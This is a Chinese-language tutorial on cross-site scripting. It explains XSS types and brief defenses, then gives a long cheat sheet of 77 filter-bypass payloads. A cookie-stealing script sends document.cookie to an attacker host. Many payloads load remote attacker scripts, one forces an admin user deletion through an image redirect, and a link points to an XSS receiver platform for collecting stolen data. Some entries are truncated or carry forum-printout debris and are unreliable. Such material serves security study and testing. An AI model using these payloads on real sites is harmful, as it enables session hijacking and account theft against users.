XSS攻击

简述

跨站脚本(Cross-site scripting,简称为:CSS, 但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,跨站脚本攻击缩写为XSS)是一种网站应用程序的安全漏洞攻击。

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、 LiveScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

XSS类型

最常见的几种分类:反射型(非持久型)XSS存储型(持久型)XSSDOM型XSS通用型XSS突变型XSS

反射型XSS

反射型XSS只是简单的把用户输入的数据从服务器反射给用户浏览器,要利用这个漏洞,攻击者必须以某种方式诱导用户访问一个精心设计的URL(恶意链接),才能实施攻击。

举例来说,当一个网站的代码中包含类似下面的语句:

1
<?php echo "<p>hello,$_GET['user']</p>"; ?>

如果未做防范XSS,用户名设为<script>alert("Tz")</script>,则会执行预设好的JavaScript代码。

漏洞成因:

当用户的输入或者一些用户可控参数未经处理地输出到页面上,就容易产生XSS漏洞。主要场景有以下几种:

  • 将不可信数据插入到HTML标签之间时;// 例如div, p, td;
  • 将不可信数据插入到HTML属性里时;// 例如:<div width=$INPUT></div>
  • 将不可信数据插入到SCRIPT里时;// 例如:<script>var message = ” $INPUT “;</script>
  • 还有插入到Style属性里的情况,同样具有一定的危害性;// 例如<span style=” property : $INPUT ”></span>
  • 将不可信数据插入到HTML URL里时,// 例如:<a href=”[http://www.abcd.com?param=](http://www.ccc.com/?param=) $INPUT ”></a>
  • 使用富文本时,没有使用XSS规则引擎进行编码过滤。

*对于以上的几个场景,若服务端或者前端没有做好防范措施,就会出现漏洞隐患。

存储型XSS

存储型XSS的原理是:主要是将恶意代码上传或存储到服务器中,下次只要受害者浏览包含此恶意代码的页面就会执行恶意代码。

比如我现在做了一个博客网站,然后攻击者在上面发布了一篇文章,内容是如下:

1
<script>window.open("www.gongji.com?param="+document.cookie)</script> 

如果我没有对该文章进行任何处理的话,直接存入到数据库中,那么下一次当其他用户访问该文章的时候,服务器会从数据库中读取后然后响应给客户端,那么浏览器就会执行这段脚本,然后攻击者就会获取到用户的cookie,然后会把cookie发送到攻击者的服务器上了。

因此存储型XSS的攻击步骤如下:

\1. 攻击者将恶意代码提交到目标网站数据库中。
\2. 用户打开目标网站时,网站服务器将恶意代码从数据库中取出,然后拼接到html中返回给浏览器中。
\3. 用户浏览器接收到响应后解析执行,那么其中的恶意代码也会被执行。
\4. 那么恶意代码执行后,就能获取到用户数据,比如上面的cookie等信息,那么把该cookie发送到攻击者网站中,那么攻击者拿到该
cookie然后会冒充该用户的行为,调用目标网站接口等违法操作。

如何防范?
\1. 后端需要对提交的数据进行过滤。
\2. 前端也可以做一下处理方式,比如对script标签,将特殊字符替换成HTML编码这些等。

DOM-based型XSS

DOM

通过 HTML DOM,可访问 JavaScript HTML 文档的所有元素。

当网页被加载时,浏览器会创建页面的文档对象模型(Document Object Model)。

HTML DOM 模型被构造为对象的树:

DOM HTML tree

通过可编程的对象模型,JavaScript 获得了足够的能力来创建动态的 HTML。

  • JavaScript 能够改变页面中的所有 HTML 元素
  • JavaScript 能够改变页面中的所有 HTML 属性
  • JavaScript 能够改变页面中的所有 CSS 样式
  • JavaScript 能够对页面中的所有事件做出反应

我们客户端的js可以对页面dom节点进行动态的操作,比如插入、修改页面的内容。比如说客户端从URL中提取数据并且在本地执行、如果用户在客户端输入的数据包含了恶意的js脚本的话,但是这些脚本又没有做任何过滤处理的话,那么我们的应用程序就有可能受到DOM-based XSS的攻击。因此DOM型XSS的攻击步骤如下:

\1. 攻击者构造出特殊的URL、在其中可能包含恶意代码。
\2. 用户打开带有恶意代码的URL。
\3. 用户浏览器收到响应后解析执行。前端使用js取出url中的恶意代码并执行。
\4. 执行时,恶意代码窃取用户数据并发送到攻击者的网站中,那么攻击者网站拿到这些数据去冒充用户的行为操作。调用目标网站接口
执行攻击者一些操作。

DOM XSS 是基于文档对象模型的XSS。一般有如下DOM操作:
\1. 使用document.write直接输出数据。
\2. 使用innerHTML直接输出数据。
\3. 使用location、location.href、location.replace、iframe.src、document.referer、window.name等这些。

基于字符集的 XSS

哪怕现在很多的浏览器以及各种开源的库都专门针对了 XSS 进行转义处理,尽量默认抵御绝大多数 XSS 攻击,但是还是有很多方式可以绕过转义规则,让人防不胜防。比如「基于字符集的 XSS 攻击」就是绕过这些转义处理的一种攻击方式,比如有些 Web 页面字符集不固定,用户输入非期望字符集的字符,有时会绕过转义过滤规则。

可以形成「基于字符集的 XSS 攻击」的原因是由于浏览器在 meta 没有指定 charset 的时候有自动识别编码的机制,所以这类攻击通常就是发生在没有指定或者没来得及指定 meta 标签的 charset 的情况下。

避免基于字符集的 XSS 攻击的两大方法:①记住指定

1
<meta charset="utf-8">;

② XML 中不仅要指定字符集为 utf-8,而且标签要闭合。

基于 Flash 的跨站 XSS

基于 Flash 的跨站 XSS 也是属于反射型 XSS 的一种,AS 脚本可以接受用户输入并操作 cookie,攻击者可以配合其他 XSS(持久型或者非持久型)方法将恶意 swf 文件嵌入页面中。主要是因为 AS 有时候需要和 JS 传参交互,攻击者会通过恶意的 XSS 注入篡改参数,窃取并操作cookie。

基于 Flash 的跨站 XSS 的两种避免方法 ①严格管理 cookie 的读写权限;②对 Flash 能接受用户输入的参数进行过滤 escape 转义处理。

XSS的攻击载荷

常见的XSS攻击方法

(1)普通的XSS JavaScript注入

1
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

(2)IMG标签XSS使用JavaScript命令

1
<IMG SRC=http://3w.org/XSS/xss.js/>

(3)IMG标签无分号无引号

1
<IMG SRC=javascript:alert('XSS')>

(4)IMG标签大小写不敏感

1
<IMG SRC=JaVaScRiPt:alert('XSS')>

(5)HTML编码(必须有分号)

1
<IMG SRC=javascript:alert("XSS")>

(6)修正缺陷IMG标签

1
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

(7)formCharCode标签(计算器)

1
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

(8)UTF-8的Unicode编码(计算器)

1
<IMG SRC=jav..省略..S')>

(9)7位的UTF-8的Unicode编码是没有分号的(计算器)

1
<IMG SRC=jav..省略..S')>

(10)十六进制编码也是没有分号(计算器)

1
<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>

(11)嵌入式标签,将Javascript分开

1
<IMG SRC="jav ascript:alert('XSS');">

(12)嵌入式编码标签,将Javascript分开

1
<IMG SRC="jav ascript:alert('XSS');">

(13)嵌入式换行符

1
<IMG SRC="jav ascript:alert('XSS');">

(14)嵌入式回车

1
<IMG SRC="jav ascript:alert('XSS');">

(15)嵌入式多行注入JavaScript,这是XSS极端的例子

1
<IMG SRC="javascript:alert('XSS')">

(16)解决限制字符(要求同页面)

1
<script>z='document.'</script><script>z=z+'write("'</script><script>z=z+'<script'</script><script>z=z+' src=ht'</script><script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script><script>z=z+'.net/1.'</script><script>z=z+'js></sc'</script><script>z=z+'ript>")'</script><script>eval_r(z)</script>

(17)空字符12-7-1 T00LS - Powered by Discuz! Board

1
https://www.a.com/viewthread.php?action=printable&tid=15267 2/6perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用

1
perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out

(19)Spaces和meta前的IMG标签

1
<IMG SRC=" javascript:alert('XSS');">

(20)Non-alpha-non-digit XSS

1
<SCRIPT/XSS SRC="http://3w.org/XSS/xss.js"></SCRIPT>

(21)Non-alpha-non-digit XSS to 2

1
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

(22)Non-alpha-non-digit XSS to 3

1
<SCRIPT/SRC="http://3w.org/XSS/xss.js"></SCRIPT>

(23)双开括号

1
<<SCRIPT>alert("XSS");//<</SCRIPT>

(24)无结束脚本标记(仅火狐等浏览器)

1
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>

(25)无结束脚本标记2

1
<SCRIPT SRC=//3w.org/XSS/xss.js>

(26)半开的HTML/JavaScript XSS

1
<IMG SRC="javascript:alert('XSS')"

(27)双开角括号

1
<iframe src=http://3w.org/XSS.html <

(28)无单引号 双引号 分号

1
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>

(29)换码过滤的JavaScript

1
\";alert('XSS');//

(30)结束Title标签

1
</TITLE><SCRIPT>alert("XSS");</SCRIPT>

(31)Input Image

1
<INPUT SRC="javascript:alert('XSS');">

(32)BODY Image

1
<BODY BACKGROUND="javascript:alert('XSS')">

(33)BODY标签

1
<BODY('XSS')>

(34)IMG Dynsrc

1
<IMG DYNSRC="javascript:alert('XSS')">

(35)IMG Lowsrc

1
<IMG LOWSRC="javascript:alert('XSS')">

(36)BGSOUND

1
<BGSOUND SRC="javascript:alert('XSS');">

(37)STYLE sheet

1
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

(38)远程样式表

1
<LINK REL="stylesheet" HREF="http://3w.org/xss.css">

(39)List-style-image(列表式)

1
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS

(40)IMG VBscript

1
<IMG SRC='vbscript:msgbox("XSS")'></STYLE><UL><LI>XSS

(41)META链接url

1
<META HTTP-EQUIV="refresh" CONTENT="0;URL=http://;URL=javascript:alert('XSS');">

(42)Iframe

1
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

(43)Frame

1
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>12-7-1 T00LS - Powered by Discuz! Boardhttps://www.a.com/viewthread.php?action=printable&tid=15267 3/6

(44)Table

1
<TABLE BACKGROUND="javascript:alert('XSS')">

(45)TD

1
<TABLE><TD BACKGROUND="javascript:alert('XSS')">

(46)DIV background-image

1
<DIV STYLE="background-image: url(javascript:alert('XSS'))">

(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-
8&13&12288&65279)

1
<DIV STYLE="background-image: url(javascript:alert('XSS'))">

(48)DIV expression

1
<DIV STYLE="width: expression_r(alert('XSS'));">

(49)STYLE属性分拆表达

1
<IMG STYLE="xss:expression_r(alert('XSS'))">

(50)匿名STYLE(组成:开角号和一个字母开头)

1
<XSS STYLE="xss:expression_r(alert('XSS'))">

(51)STYLE background-image

1
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><ACLASS=XSS></A>

(52)IMG STYLE方式

1
exppression(alert("XSS"))'>

(53)STYLE background

1
<STYLE><STYLEtype="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

(54)BASE

1
<BASE HREF="javascript:alert('XSS');//">

(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS

1
<EMBED SRC="http://3w.org/XSS/xss.swf" ></EMBED>

(56)在flash中使用ActionScrpt可以混进你XSS的代码

1
a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval_r(a+b+c+d);

(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上

1
<HTML xmlns:xss><?import namespace="xss" implementation="http://3w.org/XSS/xss.htc"><xss:xss>XSS</xss:xss></HTML>

(58)如果过滤了你的JS你可以在图片里添加JS代码来利用

1
<SCRIPT SRC=""></SCRIPT>

(59)IMG嵌入式命令,可执行任意命令

1
<IMG SRC="http://www.a.com/a.php?a=b">

(60)IMG嵌入式命令(a.jpg在同服务器)

1
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser

(61)绕符号过滤

1
<SCRIPT a=">" SRC="http://3w.org/xss.js"></SCRIPT>

(62)

1
<SCRIPT =">" SRC="http://3w.org/xss.js"></SCRIPT>

(63)

1
<SCRIPT a=">" " SRC="http://3w.org/xss.js"></SCRIPT>

(64)

1
<SCRIPT "a='>'" SRC="http://3w.org/xss.js"></SCRIPT>

(65)

1
<SCRIPT a=`>` SRC="http://3w.org/xss.js"></SCRIPT>

(66)12-7-1 T00LS - Powered by Discuz! Board

1
https://www.a.com/viewthread.php?action=printable&tid=15267 4/6<SCRIPT a=">'>" SRC="http://3w.org/xss.js"></SCRIPT>

(67)

1
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://3w.org/xss.js"></SCRIPT>

(68)URL绕行

1
<A HREF="http://127.0.0.1/">XSS</A>

(69)URL编码

1
<A HREF="http://3w.org">XSS</A>

(70)IP十进制

1
<A HREF="http://3232235521″>XSS</A>

(71)IP十六进制

1
<A HREF="http://0xc0.0xa8.0×00.0×01″>XSS</A>

(72)IP八进制

1
<A HREF="http://0300.0250.0000.0001″>XSS</A>

(73)混合编码

1
<A HREF="http://6 6.000146.0×7.147/"">XSS</A>

(74)节省[http:]

1
<A HREF="//www.google.com/">XSS</A>

(75)节省[www]

1
<A HREF="http://google.com/">XSS</A>

(76)绝对点绝对DNS

1
<A HREF="http://www.google.com./">XSS</A>

(77)javascript链接

1
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

搭建xss平台

下载地址,有教程

GitHub - trysec/BlueLotus_XSSReceiver: XSS平台 CTF工具 Web安全工具

image-20231125192051992

对于payload引发对前端知识的思考

参考

Document 接口表示任何在浏览器中载入的网页,并作为网页内容的入口,可以通过各种函数返回攻击者想要的html界面的东西